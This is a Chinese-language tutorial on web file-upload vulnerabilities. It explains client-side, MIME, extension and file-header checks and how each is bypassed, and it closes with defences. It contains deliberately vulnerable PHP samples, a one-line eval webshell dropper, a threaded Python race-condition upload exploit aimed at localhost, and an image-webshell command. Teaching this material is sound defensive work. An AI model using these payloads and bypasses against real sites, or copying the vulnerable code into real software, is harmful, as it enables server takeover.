Web基础漏洞之文件上传

1.前言

 本来打算是作为一个系列一直更新下去,讲解基础漏洞的原理、基本防御和攻击方法。但是看到师傅们的总结都很全面,尝试总结了一下发现大多都是照搬,只有等到有新的东西才写下来啦。

2.概述

在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。

如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。一般会搭配解析漏洞或文件包含漏洞。

3.上传检测

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

一般文件上传检测分为客户端检测和服务端检测

3.1.客户端检测

一般使用 javascript 检验后缀名是否合法,在浏览加载文件,但还未点击上传按钮时便弹出对话框,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function CheckFileType()
{
var objButton=document.getElementById("Button1");//上传按钮
var objFileUpload=document.getElementById("FileUpload1");
var objMSG=document.getElementById("msg");//显示提示信息用DIV
var FileName=new String(objFileUpload.value);//文件名
var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
{
objButton.disabled=false;//启用上传按钮
objMSG.innerHTML="文件检测通过";
}
else
{
objButton.disabled=true;//禁用上传按钮
objMSG.innerHTML="请选择正确的文件上传";
}
}

绕过方法:

  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp
  • 上传页面,审查元素,修改或禁用 JavaScript 检测函数

    3.2.服务端检验

    3.2.1.MIME类型检测

    MIME:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_FILES['file']['type'] != "image/gif")
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

关键代码:if($_FILES['file']['type'] != "image/gif")

绕过方法:

Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型

3.2.2.文件扩展名检测

分为白名单和黑名单检测,一般白名单比黑名单安全

3.2.2.1.黑名单检测

黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function getExt($filename){
//sunstr - 返回字符串的子串
//strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
return substr($filename,strripos($filename,'.')+1);
}
if($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else{
$black_file = explode("|","php|jsp|asp");//允许上传的文件类型组
$new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
if(in_array($new_upload_file_ext,$black_file))
{
echo "文件不合法";
die();
}
else{
$filename = time().".".$new_upload_file_ext;
if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
{
echo "Upload Success";
}
}
}
?>

3.2.2.2.白名单检测

仅允许指定的文件类型上传,比如仅与需上传jpg 、 gif 、 doc等类型的文件,其他全部禁止

3.2.2.3.绕过方法

①文件名大小写绕过

用像 AsP,pHp 之类的文件名绕过黑名单检测

②名单列表绕过

能被解析的文件扩展名列表:

jsp jspx jspf

asp asa cer aspx cdx

php php php3 php4

exe exee

③特殊文件名绕过

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性

④0x00截断

截断的核心,就是chr(0)这个字符,这个字符不为空(Null),也不是空字符(“”),更不是空格。 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生 。

伪代码演示

1
2
3
4
5
name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断
//最后以 help.asp 存入路径里

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/*
CVE-2015-2348
PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x before 5.6.7
move_uploaded_file(string $filename,string $destination)
$destination参数代表得失上传文件移动的最终目的地址
如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,
那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传
*/
if (isset($_POST['Upload'])){
$target_path = WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) {
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}else {
$html .= '<pre>';
$html .= $target_path . ' succesfully uploaded!';
$html .= '</pre>';
}}
else{
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}
}

move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");

这本应该创建一个名为file.php\x00.jpg的文件,但实际上创建的文件是file.php

这里比较有趣的一点是在获取文件名后缀时

$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);

由于在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符,文件名为 test.jpg0x00.php 时 PHP 仍认为后缀为 jpg,这个特性在 PHP5-PHP7 都是存在的。

3.2.3.服务端文件内容检测

3.2.3.1.文件头检测

常见文件头:

JPG : FF D8 FF E0 00 10 4A 46 49 46

GIF : 47 49 46 38 39 61 (GIF89a)

PNG: 89 50 4E 47

PHP根据文件头检测文件类型

3.2.3.2.文件相关信息检测

一般就是检查图片文件的大小,图片文件的尺寸之类的信息,常用getimagesize()函数

3.2.3.3.绕过方法

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可

4.其他

4.1.竞争上传

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1/code/upload/shell.php"
self.uploadUrl = "http://127.0.0.1/code/upload_compete.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file Str3am.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()

成功写入 shell

4.2.图片马制作

copy /b 1.jpg+shell.php 2.jpg

注意 /b

5.解析漏洞

IIS、Apache、Nginx 解析漏洞

服务器解析漏洞 | nmask

6.利用总结

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,goolge当前编辑器的漏洞

如果是程序员写的上传点

上传一个正常的jpg图片 查看上传点是否可用

上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)

上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg

判断服务器是什么类型,web服务器程序,是什么类型,版本号多少


测试时的准备工作:

什么语言?什么容器?什么系统?都什么版本?

上传文件都可以上传什么格式的文件?还是允许上传任意类型?

上传的文件会不会被重命名或者二次渲染?

7.防御

① 文件上传目录设置不可执行

只要 Web 容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。例如配置 nginx 把上传的文件当做静态资源访问

② 判断文件类型

判断文件类型时结合使用 MIME Type 、后缀检查等方式。后缀检查使用白名单方式。同时可对图片进行二次处理或者压缩,如php gd,但是就算使用 php gd 也有绕过方式:https://secgeek.net/bookfresh-vulnerability/

③ 使用随机数改写文件名喝文件路径

使用随机数,可以增加攻击的成本。同时,像 shell.php.rar.rarcorssdomain.xml 这类文件,都会因为文件名被改写而无法成功实施攻击

参考链接